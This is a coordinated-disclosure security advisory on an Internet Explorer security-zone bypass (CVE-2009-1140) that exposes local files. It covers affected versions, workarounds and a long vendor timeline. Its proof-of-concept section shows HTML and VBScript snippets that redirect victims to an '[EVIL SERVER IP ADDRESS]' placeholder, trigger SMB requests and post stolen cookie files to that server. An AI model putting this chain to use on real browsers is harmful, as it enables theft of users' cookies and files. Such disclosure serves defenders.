Core Security Technologies Advisory 2008.0826

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
Internet Explorer Security Zone restrictions bypass  
  
  
1. *Advisory Information*  
  
Title: Internet Explorer Security Zone restrictions bypass  
Advisory ID: CORE-2008-0826  
Advisory URL: http://www.coresecurity.com/content/ie-security-zone-bypass  
Date published: 2009-06-09  
Date of last update: 2009-06-09  
Vendors contacted: Microsoft  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Client side  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
Bugtraq ID: 33178  
CVE Name: CVE-2009-1140  
  
  
3. *Vulnerability Description*  
  
Internet Explorer (IE) is the most widely used Web browser, with an  
estimated count of 1,100 million users according to a worldwide survey  
conducted and published in 2008 [1]. This advisory describes a  
vulnerability that provides access to the contents of any file stored in  
the local filesystem of user's machines running vulnerable versions of IE.  
  
Exploitation of the vulnerability relies solely on the ability for a  
would-be attacker to provide malicious HTML content from a website and  
to predict the full pathname for the file that will be used to cache it  
locally on the victim's system. If the entire path name can be  
predicted, the attacker can cause a redirection to the locally stored  
file using an URI specified in UNC form and force the local content to  
be rendered as an HTML document, which will permit to run scripting  
commands and instantiate certain ActiveX controls.  
  
As a result of a successful attack, security or privacy-sensitive  
information can be obtained by an attacker including but not limited to  
user authentication credentials for any web application domain, HTTP  
cookies, session management data, cached content of web applications in  
different domains and any files stored on local filesystems.  
  
The bug is related to a lack of enforcement of security policies  
assigned to URL Security Zones [2] when content from the corresponding  
zone is loaded and rendered from a local file. These issues have been  
found in the way that security policies are applied when a URI is  
specified in the UNC form (i.e., '\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'):  
  
1. When a remote site attempts to access a local resource, IE will  
fail to enforce the Zone Elevation restrictions.  
2. When browsing a remote site, IE will not properly enforce the  
Security Zone permissions, allowing a site belonging to a less secure  
zone to be treated as belonging to a more privileged one.  
  
  
4. *Vulnerable packages*  
  
. Internet Explorer 5.01 Service Pack 4  
. Internet Explorer 6.0  
. Internet Explorer 6.0 Service Pack 1  
. Internet Explorer 7 (not exploitable with Protected mode on,  
available on Vista)  
  
  
4.1. *Vulnerable platforms*  
  
. Microsoft Windows 2000 up to and including Service Pack 4  
. Microsoft Windows Server 2003 up to and including Service Pack 2  
. Microsoft Windows XP up to and including Service Pack 3  
. Windows Vista up to and including Service Pack 1 (not exploitable  
with IE running with Protected mode on)  
. Windows Server 2008  
  
  
5. *Non-vulnerable packages*  
  
. Internet Explorer 8 under Windows 2000/2003/XP/Vista  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
The following workarounds can prevent exploitation of the vulnerability:  
  
. Use Internet Explorer's Protocol Lockdown feature control to  
restrict the "file" protocol to prevent HTML from UNC path to run script  
or ActiveX controls.  
. Set the Security Level setting for the Internet and Intranet Zones  
to High to prevent IE from running scripts or ActiveX controls.  
. Manually disable Active Scripting for the Internet and Intranet  
Zone with a custom security setting.  
. Only run IE in Protected Mode if it is available on the operating  
system.  
. Use a different web browser to navigate untrusted web sites.  
  
Additionally, although disabling file sharing if it is not necessary and  
filtering outbound SMB connections at the endpoint or network perimeter  
may not prevent exploitation it is generally a good security measure to  
prevent disclosure of sensitive information such as valid usernames of  
endpoint users.  
  
Microsoft has issued a patch to fix the vulnerability and a detailed  
description of how to implement the workarounds on IE. It is available  
as Security Bulletin http://go.microsoft.com/fwlink/?LinkID=150860.  
  
Microsoft's Research and Defense blog has further discussion about the  
vulnerability, workarounds and mitigations [3].  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Jorge Luis Alvarez  
Medina from Core Security Consulting Services (SCS). Additional research  
was made by Federico Muttis from Core Security Exploit Writers Team (EWT).  
  
  
8. *Technical Description / Proof of Concept Code*  
  
Internet Explorer uses a feature known as URL Security Zones [2], which  
defines a set of privileges for Web sites and applications depending on  
their apparent level of trustworthiness. The zones available in the  
product include:  
  
. *Internet Zone: * For Web sites on the Internet that do not belong  
to another zone.  
. *Local Intranet Zone: * For content located on an organization's  
intranet.  
. *Trusted Sites Zone: * For content located on Web sites that are  
considered more reputable or trustworthy than other sites on the Internet.  
. *Restricted Sites Zone: * For Web sites that contain content that  
can cause (or have previously caused) problems when downloaded.  
. *Local Machine Zone: * This is an implicit zone for content that  
exists on the local computer and it is not directly configurable through  
Internet Explorer security options by the user.  
  
Internet Explorer users or Administrators can assign specific websites  
or domains to any of the available zone except the Local Machine Zone.  
The ability for a given website to perform security-sensitive operations  
on the web browser is determined by the *Security Level* of the zone to  
which the site was assigned. Each zone can be set to one of three preset  
security levels (High, Medium-High, Medium) or to a custom level with  
security policy settings specified by the user or administrator.  
  
By default, all websites that are determined not to be in the Local  
Intranet zone and are not explicitly listed in the Restricted Sites or  
Trusted Sites zones are assigned the *Internet Zone* which has a default  
security setting of Medium-High. Thus, for most IE users the  
security-sensitive actions that a browser is allowed to perform while  
connected to an untrusted Internet site are those specified by the  
security policies of the Internet Zone at the Medium-High security level.  
  
There are some issues in the way IE enforces zone security policies when  
an URI is specified in the UNC form (i.e.,  
'\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'). In this case, Internet  
Explorer classifies as *Internet Zone* any UNC address pointing to an IP  
address including '127.0.0.1'. As a result, any website (belonging to  
any security zone) can address and redirect the navigation flow to files  
stored in '\\127.0.0.1'.  
  
If an attacker controlling a website finds a way to store HTML with any  
valid scripting code the local file system of the visitor and then  
redirects the browser's navigation flow that local file  
('\\127.0.0.1\full_file_name'), then this code will be loaded and  
rendered as if it belonged to the *Internet Zone* but since the file  
containing it is stored in '\\127.0.0.1' it would also be able to access  
any other file on the visitor's file system.  
  
The problem is derived from the sequence of actions performed by  
Internet Explorer to determine the content-type of the content to be  
loaded and the appropriate way to render it. The algorithm followed for  
this purpose is described in Microsoft's Knowledgebase article titled  
MIME Type Detection in Internet Explorer [4] and implemented in the  
function 'FindMimeFromData' in 'URLMON.DLL'[5].  
  
In the following section, proof of concept code is provided to  
demonstrate the problem using the local storage used by Internet  
Explorer to store the user's browsing history to deliver HTML with  
scripting code and force IE to render it. This analysis is valid for any  
Windows NT based operating system but should be slightly modified to run  
under Windows Vista. It takes advantage of the following features:  
  
1. The IE user's browsing history is compounded of different files  
and folders. One of these files is named 'index.dat', and is usually  
located at: 'C:\Documents and settings\USERNAME\Local  
settings\History\History.IE5\index.dat'. Although the format of this  
file is not entirely text, IE will store every visited URL including any  
parameters in the query string in plain text.  
2. Although the aforementioned folder cannot be directly browsed  
using Windows Explorer or Internet Explorer, it can be browsed and  
viewed by referring to the same folder using the UNC notation:  
'\\[COMPUTERNAME|127.0.0.1]\C$\Documents and settings\USERNAME\Local  
settings\History\History.IE5'.  
3. There are some HTML tags which allow to embed contents from  
external files and treat them with a specific format disregarding the  
file extension. For example, the HTML '<object/>' tag:  
  
/-----------  
  
<object data="index.dat" type="text/html" width="100%" height="50"></object>  
- -----------/  
  
It allows to set the MIME type (in the type attribute) of an externally  
referenced file in the data attribute which will be loaded as an object.  
4. Internet Explorer behaves in a slightly different way when  
displaying a page directly rather than displaying that page inside an  
HTML '<frame>' tag. For example, a page containing an HTML '<object>'  
tag like the one shown below will prompt the user to accept the download  
of file being referenced inside if loaded directly but it will be  
automatically downloaded and rendered according to the specified MIME  
type if the page is loaded inside an HTML '<frame>' tag.  
5. Internet Explorer will determine the security zone of an UNC  
address as belonging to:  
  
a. The *Internet Zone* if the path refers to the target using an  
IP address, for example '\\127.0.0.1'.  
b. The *Local Intranet Zone* if the path refers to the target  
using a NetBIOS name, for example '\\COMPUTERNAME'.  
  
  
8.1. *Proof of Concept Code*  
  
The following proof of concept code demonstrates that by enticing a user  
to do a single click on a malicious website it is possible to retrieve  
every HTTP cookie from the unsuspecting victim user. The PoC uses  
VBScript to show the ability to steal sensitive information from any  
local files with either text or binary contents.  
  
There are several steps involved in order to make the attack path clear.  
The following diagram shows the files involved and the calling order.  
Details concerning the relationship between these files will be  
explained along the walkthrough:  
  
/-----------  
  
See the figure in  
http://www.coresecurity.com/content/ie-security-zone-bypass  
  
- -----------/  
  
  
Everything starts when the victim user points her browser to the  
following URL:  
  
/-----------  
  
http://[EVIL SERVER IP ADDRESS]/evilsite.htm  
- -----------/  
  
This page will trigger SMB requests against our evil server to extract  
the victim's 'USERNAME'. The script named 'captureSMB.pl' running in the  
server will be the one in charge of processing these requests to create  
the 'index.dat.english.pl' file which will be used later to redirect the  
victim's browser to the locally stored index.dat file.  
  
However, the main objective of this page is to set (when redirecting to  
the next page) HTML code inside the victim's history index.dat file. The  
HTML source code to accomplish such tasks would look very much like the  
following:  
  
/-----------  
  
<html>  
<head>  
<script>  
function redirectNow(){  
document.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\?[HTML  
CODE];  
}  
</script>  
</head>  
<body onload="javascript:redirectNow();">  
<img src="\\[EVIL SERVER IP ADDRESS]\thereisnosuchfile.gif">  
</body>  
</html>  
  
- -----------/  
  
  
  
In turn, the next files in the redirecting chain ('setSecondScript.htm'  
and 'setFirstScript.htm' ) will also be used to accomplish the same  
second objective as the starting page. As stated before this will result  
in the victim's 'index.dat' history file storing the HTML code passed  
inside the query string in plaintext. The HTML code stored up to this  
point would look like this:  
  
/-----------  
  
<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP  
ADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'>  
<input type='hidden' name='data' id='data'>  
<input type='submit' value='Submit'>  
</form>  
<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/  
stealcookies.vbs'></script>  
<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/  
scripty.vbs'></script>  
  
- -----------/  
  
  
  
At this point, the victim's browser will be served with  
'setFirstScript.htm'. This page will just redirect the browser to  
another page ('frameset.htm'), which simply defines the frames where the  
last page ('object.htm') referencing the 'index.dat' file will be loaded  
into.  
  
The HTML code used for loading the index.dat file and rendering it as  
HTML code is just a simple HTML '<object>' tag:  
  
/-----------  
  
<object data="index.dat.english.pl" type="text/html" width="100%"  
height="50"></object>  
- -----------/  
  
  
  
As can be seen, this is the file we generated in the first step based  
upon the actual 'USERNAME' we obtained. In turn, this file will just  
redirect the request to the victim's 'index.dat':  
  
/-----------  
  
Status: 302 Found  
Content-type: text/html  
Location:  
file://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat  
  
- -----------/  
  
This indirection level is required to avoid Internet Explorer from  
prompting the user to download the target file.  
  
If loaded, the file will execute under the *Internet  
Zone* with the access rights of such zone but, given that the file  
is served from the local disk, with the ability to read any file in the  
local drive. However, success of the attack will depend on the ability  
to obtain or guess the right username as explained later.  
  
By taking advantage of these sequence of actions, the script named  
'scripty.vbs' will read the victim's 'index.dat' located at  
'C:\Documents and settings\USERNAME\Cookies\' which indexes the whole  
set of HTTP cookie files managed by IE and send it back to the malicious  
server using an HTML '<form>' we have set previously. At the server  
side, the PERL script named 'newCGI.pl' will:  
  
. process the received file, and store it in the server;  
. create the script named 'stealcookies.vbs' considering the cookies  
filenames gathered from the stolen file;  
. redirect the victim's browser back to the 'framset.htm' page.  
  
This time, when the victim's history 'index.dat' file is rendered again,  
the script 'stealcookies.vbs' will be loaded. This script will read  
every single cookie file the user has stored in the aforementioned  
Internet Explorer cookie's folder and will send the contents back to the  
server using the same HTML '<form>' used before. On the server side the  
one in charge of processing this data will be the Perl script named  
'newCGI.pl'. This time, it will:  
  
. Process the received file, and store it in the server under the  
name of 'stolen.txt';  
. Redirect the victim's browser back to this file.  
  
  
8.2. *Obtaining the right USERNAME*  
  
To get the right username, we can take advantage of some other  
idiosyncrasies of Internet Explorer. If it is possible to make outbound  
SMB requests to an untrusted web server we can leverage that to include  
inside the main page some references to inexistent resources in our  
server. The client will attempt to establish a SMB connection against it  
from where the 'USERNAME' could be obtained as well as some other useful  
data such as the 'COMPUTERNAME' or the ciphered challenge/response.  
  
Our proof of concept contemplates 2 possibilities:  
  
1. The victim's machine is able to establish a connection to the port  
445 (NetBIOS over TCP/IP) on the malicious server in which case the  
correct 'USERNAME' can be obtained to build the right UNC path to the  
'index.dat' file:  
  
/-----------  
  
\\127.0.0.1\C$\Documents and settings\USERNAME\Local  
settings\History\History.IE5\index.dat  
- -----------/  
  
  
2. The port 445 is not allowed for outbound connections in which case  
the code will simple try to guess the right username using common names  
such as Administrator to build an UNC path like the following:  
  
/-----------  
  
\\127.0.0.1\C$\Documents and settings\Administrator\Local  
settings\History\History.IE5\index.dat  
- -----------/  
  
  
  
In both cases, the file will be rendered as belonging to the *Internet  
Zone*.  
  
  
8.3. *Proof of Concept Files*  
  
The Proof of Concept can be downloaded from  
http://www.coresecurity.com/files/attachments/PoC-CORE-2008-0826.zip.  
This would be a package with the following files:  
  
. 'evilsite.htm': The main page, which shots the SMB requests and  
redirects to 'setForm.htm' passing, as part of the query string, HTML  
code to be set in the history 'index.dat' file.  
. 'setForm.htm': This page acts as a bridge (receives the evil  
scripting code as a query string parameter) and redirects to  
'setSecondScript.htm' passing HTML code to be set in the history  
'index.dat' file.  
. 'setSecondScript.htm': This page acts as a bridge (receives the  
evil scripting code as a query string parameter) and redirects to  
'setFirstScript.htm' passing HTML code to be set in the history  
'index.dat' file.  
. 'setFirstScript.htm': This page acts as a bridge (receives the evil  
scripting code as a query string parameter) and just redirects to  
'frameset.htm'.  
. 'frameset.htm': This page defines the frames where the page trying  
to access the 'index.dat' file will be loaded into.  
. 'stealCookies.htm': Same as frameset.htm, this page defines the  
frames where the page trying to access the 'index.dat' file will be  
loaded into.  
. 'object.htm': The page to be loaded in 'frameset.htm'. It covers  
the test cases 1 and 2 explained above in this document.  
. 'captureSMB.pl': This script must be running in the example server.  
It will be listening for SMB requests, and when they occur, will create  
a pair of 'index.dat.[LANG].pl' files, attempting to cover a couple of  
Windows OS languages.  
. 'newCGI.pl': This file will handle the files received from  
scritpy.vbs, generate the script named 'stealcookies.vbs' and, in a  
subsequent call, will receive and store the stolen cookies.  
. 'scripty.vbs': A script file loaded by the HTML code written in the  
'index.dat' file. It will send the victim's cookies 'index.dat' file  
back to the server.  
. 'index.dat.english.default.pl': A redirect to the file assuming the  
user Administrator under an English language Windows version.  
. 'index.dat.spanish.default.pl': A redirect to the file assuming the  
user Administrador under a Spanish language Windows version.  
  
  
9. *Report Timeline*  
  
. 2008-10-08:  
Core Security Technologies notifies the Microsoft Security Response  
Center (MSRC) that a vulnerability has been found in Internet Explorer  
(IE). Core sends a draft security advisory with technical details and  
PoC files and announces its initial plan to publish the advisory on  
December 1st, 2008.  
  
. 2008-10-09:  
The MSRC acknowledges notification.  
  
. 2008-10-09:  
MSRC states that it is currently investigating the reported issue.  
  
. 2008-10-14:  
MSRC announces the investigation was completed. The flaw can be  
reproduced by the vendor and it is considered a bulletin class issue.  
  
. 2008-10-14:  
MSRC announces that the vendor will not be able to hit a December  
release date due to the mandatory quality test cycle required for IE  
updates.  
  
. 2008-10-16:  
Core asks MSRC for an estimated date to fix these issues.  
  
. 2008-11-04:  
Core requests an answer to the previous mail and also details about:  
  
1. the root cause of the problem,  
2. the list of affected platforms, and  
3. the severity rating Microsoft has assigned to the bug.  
  
. 2008-11-05:  
MSRC responds that patches to IE ship every two months and the next  
available ship date will be February 10th. The case is currently rated  
as an Important class Information Disclosure vulnerability. Vendor  
provides a list of affected components and platforms. The MSRC was able  
to reproduce this issue on all IE versions with the following  
exceptions: IE7 and IE8 in Windows Vista when Protected Mode is ON. In  
spite of that MSRC does not include IE8 in list of affected components  
because it is still a beta product.  
  
. 2009-01-08:  
Core asks MSRC if it is still on track to release patches on February  
10th, 2009.  
  
. 2009-01-09:  
MSRC responds that the out-of-band fix released in December [6] took a  
lot of the resources that were assigned to February's release schedule  
and will not be able to meet the February release date. MSRC informs the  
next available release date would be April 14th, 2009.  
  
. 2009-03-23:  
Core asks MSRC if it is still on track to release fixed versions on  
April 14th.  
  
. 2009-03-26:  
MSRC responds the product team addressed this issue in IE8 [7] with the  
plan to port that code fix down-level (IE7, IE6 and IE5). In order to  
accomplish these fixes in the previous IE versions, MSRC informs Core  
the first available scheduled release in the future will be in June, 2009.  
  
. 2009-03-26:  
Core indicates that the previous email from MSRC is quite confusing. It  
seems to indicate that the vulnerability is already fixed in IE8 whereas  
at the time of the original report IE8 was still a beta product and  
there was not any communication from MSRC indicating whether the problem  
was going to be fixed nor a tentative date for such fix. Core asks MSRC  
to confirm that the vulnerability was indeed fixed in the released  
version of IE8 while two consecutive tentative released date for patches  
to the officially confirmed vulnerable versions IE5 to IE7 have been  
missed. In the case of such confirmation Core also asks clarification  
about Microsoft's previously stated policy of releasing fixes for all  
vulnerable versions at the same time as indicated in the emails  
exchanged during the reporting process of a IE vulnerability closely  
related to this one that Microsoft catalogued as an Outlook  
Express/Windows Mail bug [8]. Core indicates that it considers that an  
8-month release cycle is well beyond the reasonable time frame to issue  
fixes for a bug that it considered rooted at the same cause of a  
previously reported one, for which differences in its technical analysis  
were not resolved because Microsoft repeatedly ignored request for a  
technical root cause analysis. Therefore, pending answers to the above  
questions and specific technical details about the root cause of the  
problem and when, how and which platforms have the bug fixed Core will  
proceed with publication on April 14th as previously agreed. In the  
meantime Core will further investigate the issue in order to provide  
customers, ISVs and the security community all the necessary information  
to assess their risk and independently devise fixes, workarounds or  
mitigations.  
  
. 2009-04-08:  
Core requests an answer to the previous mail. Core is on track to  
publish the security advisory and would like confirmation that the  
released version of IE8 fixed the bug.  
  
. 2009-04-08:  
MSRC notifies Core that the reason why IE8 did ship with this fix ahead  
of the down-level versions was because IE8 was already in-development  
and it was safer and cleaner to check in this fix into the existing  
development cycle of IE8. MSRC also confirms that the bug is fixed in  
the currently released version of IE8 and it is currently being  
back-ported to the down-level versions of IE. MSRC indicates that it  
does not document security fix changed in the latest products if the  
vulnerability continues to exist in down-level support platforms which  
helps Microsoft to "not zero-day the down-level platforms" and gives the  
opportunity to provide updates for them. MSRC states that the vendor is  
currently in the path to release the update in June and would appreciate  
it if it could coordinate the release of Core's advisory on that same time.  
  
. 2009-04-13:  
Core notifies that probably the advisory will be released in a week  
although the final decision has not been made yet and that a vendor  
statement and workarounds would be highly appreciated. Core is working  
on the final version of the advisory and would like to improve the  
workaround and mitigation sections, for that purpose it is requesting  
assistance from the vendor. Core asks MSRC for mitigation and  
workarounds for users not running IE8. It also notifies that upon  
further research it found a variation of the original attack that may  
still compromise the original release of IE8. Other versions of IE8  
(with the same version and build number) do not seem to be vulnerable to  
the attack variation. The 'non-vulnerable' instance of IE8 tested was  
patched by Windows auto-update in or around April 7th. Core asks MSRC to  
confirm whether the original IE8 release was vulnerable to bug and the  
bug later silently fixed by an update shipped through Windows auto-update.  
  
. 2009-04-14:  
MSRC asks Core more details about the version of IE8 that was  
successfully compromised by a variation of the original attack. The MSRC  
notifies the original attack was addressed in the RC1 version of IE8 and  
wants to make sure there is not an issue with the fix.  
  
. 2009-04-14:  
MSRC indicates that received verification from the product team that  
Protected Mode ON for the Internet Zone does block the attack in IE7.  
The vendor states that it is currently investigating the IE8 specific  
mitigations. With regards to IE8 the product team included the fix in RC  
of IE8 which was released in January and it is unsure about the  
differences between vulnerable and non-vulnerable instances of IE8. The  
product team is still working on the fixes for the next release but MSRC  
would like to make private binaries available for testing in the event  
that Core postpones publication of the advisory. MSRC offers to setup a  
conference call to discuss some of the challenges of fixing this bug and  
why it required in-depth investigation.  
  
. 2009-04-16:  
Core Security and the Secure Windows Initiative (SWI) discuss this issue  
in a conference call. The vendor states that it will obtain a list of  
non-security updates released for IE8 post RTM and obtain a similar list  
for Office and Windows since April 1st. The goal is to understand  
whether a non-security update has fixed a security bug. The vendor will  
also provide the technical description and the private fixed bits for  
this specific issue when available. Core is going to provide (in the  
next couple of days) the version of the IE8 that seems to be affected by  
this issue, and the modified PoC that was used to reproduce the problem  
on IE8. Core will inform MSRC of publishing date for the corresponding  
security advisory when the decision is made.  
  
. 2009-04-17:  
Core sends technical details, the list of fixes installed on vulnerable  
and non-vulnerable systems and modified Proof of Concept that works on  
certain versions of IE8 RTM and does not on others. In both cases the  
version and build number are exactly the same. Core have also found  
that, although the PoC sent to MSRC in the original report does not work  
on IE8 RTM, a variation of it continues to work in certain cases.  
Basically, it seems that IE8 RTM prevented code from being executed from  
'index.dat' mapped anywhere lower than an 0x4000 offset but if the  
offending code is above 0x4000 and not from 'index.dat' it can still be  
executed.  
  
. 2009-04-17:  
MSRC notifies there were two updates released at the end of March. One  
was a Compatibility View List [9] and the second was an SPAD fix [10]  
that affects Vista X64 only. Vendor also notifies they are going to  
investigate whether this might have impacted the original attack vector.  
The technical analysis of the problem determined that the HTML engine  
checks the mime type for file it cannot handle and if there is not a  
match MIME sniffing is performed without a predetermined hint, unknown  
files are treated as HTML due to the redirection and in absence of a  
specific content-type MIME-sniffing will end up defaulting to text/html.  
  
. 2009-04-22:  
MSRC sends patched binaries for Vista/IE7. These binaries are the fix  
for the first issue submitted by Core and do not fix the second PoC sent  
by Core the previous week. MSRT also provides some workarounds for the  
first PoC reported. The IE team has investigated the additional PoC and  
has determined that while functionally it appears the same as the  
original issue submitted, when debugged the actions taken by the system  
are controlled by different functions, and this difference is  
significant enough to perform further investigation. The vendor asks to  
re-schedules the advisory publication date to June 2009.  
  
. 2009-04-22:  
MSRC asks additional details about the attack vectors discussed between  
Core and the Secure Windows Initiative (SWI) in the last conference call  
(16th, April). MSRC indicates that it has identified two workarounds for  
the original issue: Disabling scripting (which is default for Enhanced  
Security Configuration on Windows 2003 and Windows Server 2008) and  
disabling "Run ActiveX Controls and plugins". The IE team has  
investigated the second PoC and determined that the functionality  
appears the same but when debugged the actions performed by the system  
are different. The differences are considered significant enough to  
perform further investigation. MSRC proposes to release the fix for the  
issue originally reported in June and to continue investigation on the  
second PoC afterwards.  
  
. 2009-04-23:  
Core responds that, according to the technical information provided by  
the IE team it appears that the problem could be exploitable with *any*  
local file loaded through a redirection and thus defaulting to text/html  
that is not explicitly known by the HTML engine (Trident) and for which  
IE would end up defaulting to html as hinted. The mention of specific  
files during the conference call was just as an example of a potential  
vector but not a confirmed exploitation method that was explicitly  
discussed.  
Core also notifies the advisory publication will be delayed at least  
until next Wednesday (April 28th) since it appears that the bug was not  
actually fixed properly in IE8 and that new information has been provided.  
  
. 2009-04-23:  
Core also suggests some mitigation actions to prevent the exploitation  
of this flaw. For example, by explicitly constraining 'file://127.0.0.1'  
to a given zone (i.e. Intranet) and then disabling "Websites in less  
privileged web content zone can navigate into this zone" for that zone.  
  
. 2009-04-24:  
MSRC notifies that it would be possible to bypass the suggested  
workaround if a malicious site had its domain name resolve to 127.0.0.1  
since Zone determination does not depend on name resolution.  
  
. 2009-04-24:  
Core suggests other possible workarounds that involve explicitly setting  
the two UNC forms of targeting the localhost IP addressing the Internet  
Zone and setting the security level to High which seems to be in line  
with the suggestions from Microsoft's knowledgebase article about the IE  
Enhanced Security Configuration and asks for additional technical  
details to clarify the last email from MSRC. Core asks for clarification  
about the zone determination algorithm.  
  
. 2009-04-24:  
MSRC provides further technical analysis, and notifies that some of the  
proposed workarounds would work on all affected versions of IE.  
  
. 2009-04-28:  
The vendor asks to re-schedule the advisory publication date for a  
coordinated release during the regular June bulletin release cycle.  
  
. 2009-05-04:  
Core responds that it decided to set the publication date for the  
security advisory to Tuesday June 9th, 2009. This will give MSFT the  
opportunity to ship an official patch for all vulnerable versions of IE  
in the next available patch release cycle. Core also notifies this date  
is final and that in absence of an official fix Core will nonetheless  
publish the security advisory with all the technical details and  
information necessary for third parties to understand the risk and  
figure out and apply workarounds or mitigating measures.  
  
. 2009-05-06:  
MSRC indicates that it would like to set up a conference call to clarify  
the concerns about workarounds and to discuss additional possible  
mitigation actions.  
  
. 2009-05-26:  
Core ask for the status of the fix and whether it is on schedule for the  
June 9th release, responds that it prefers to keep the communication  
process properly documented by e-mail but notifies that a conference  
call would be possible if the vendor feels that it is absolutely  
necessary or the best way to discuss workarounds and mitigation actions.  
  
. 2009-05-28:  
MSRC notifies the fix for the issue submitted in October 2008 is on  
track to be released on the second Tuesday in June 2009. Vendor is still  
determining the best way to address the additional PoC provided for IE8,  
and MSRC asks for a conference call to clarify some confusion of the  
proposed workarounds and mitigations.  
  
. 2009-06-01:  
Core notifies the possible timeslot for setting up a conference call  
with MSRT would be June 2nd or June 4th. Core also asks if the vendor is  
considering the second PoC as a separate vulnerabilities or just  
variations on how to exploit the same bug.  
  
. 2009-06-01:  
MSRC suggests setting up the conference call on June 4th. The vendor  
also notifies that during the investigation of the 2nd PoC, when  
debugged, the system actions are controlled by different functions and  
the difference is significant enough to address the 2nd PoC as a whole.  
  
. 2009-06-02:  
Core responds it would be available for a conference on June 4th.  
Conference call set scheduled.  
  
. 2009-06-04:  
Conference call attended by MSRC, IE team member, Core security  
advisories team and vulnerability researchers.  
  
. 2009-06-04:  
Core sends MSRC notes taken during the conference call. Actions items:  
  
. MSRC to provide workaround and mitigations and to follow-up on  
issues demonstrated by the second PoC.  
. Core to further investigate workarounds and mitigations and to  
provide MSRC the final draft of the advisory before publication (by  
Monday).  
  
. 2009-06-04:  
MSRC sends notes of the conference call. Official workarounds and  
mitigating factors to be included in the Security Bulletin and link the  
Security Research and Defense blog with additional information.  
  
. 2009-06-04:  
Core suggests the use of the Protocol Lockdown feature control as  
possible workaround.  
  
. 2009-06-05:  
MSRC confirms that Protocol Lockdown is a feasible workaround. Details  
will be included in the Security Research and Defense blog.  
  
. 2009-06-09:  
Final draft of the advisory sent to MSRC.  
  
. 2009-06-09:  
Core Security Advisory CORE-2008-0826 published.  
  
  
10. *References*  
  
[1] http://www.techzoom.net/publications/insecurity-iceberg/index.en  
[2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx.  
[3]  
http://blogs.technet.com/srd/archive/2009/06/09/cve-2009-1140-benefits-of-ie-protected-mode-additional-network-protocol-lockdown-workaround.aspx  
[4] http://msdn.microsoft.com/en-us/library/ms775147(VS.85).aspx  
[5] http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx  
[6] http://www.microsoft.com/technet/security/bulletin/ms08-dec.mspx.  
[7] Internet Explorer 8.0 was officially released at this time leaving  
the 'beta stage'.  
http://www.microsoft.com/windows/internet-explorer/default.aspx.  
[8] http://www.coresecurity.com/content/internet-explorer-zone-elevation  
[9] Compatibility View KB968220 -  
http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d  
and http://support.microsoft.com/?kbid=968220.  
[10] SPAD link - http://support.microsoft.com/kb/969058.  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Core Security  
Technologies and (c) 2009 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.7 (MingW32)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org  
  
iD8DBQFKLtOEyNibggitWa0RAvvyAKCI46nwvU9vnduhVXILQxTdjDvS5QCfeT4Z  
VVaWDRlQgd4vAFGQO+I4HW0=  
=KI4M  
-----END PGP SIGNATURE-----  
`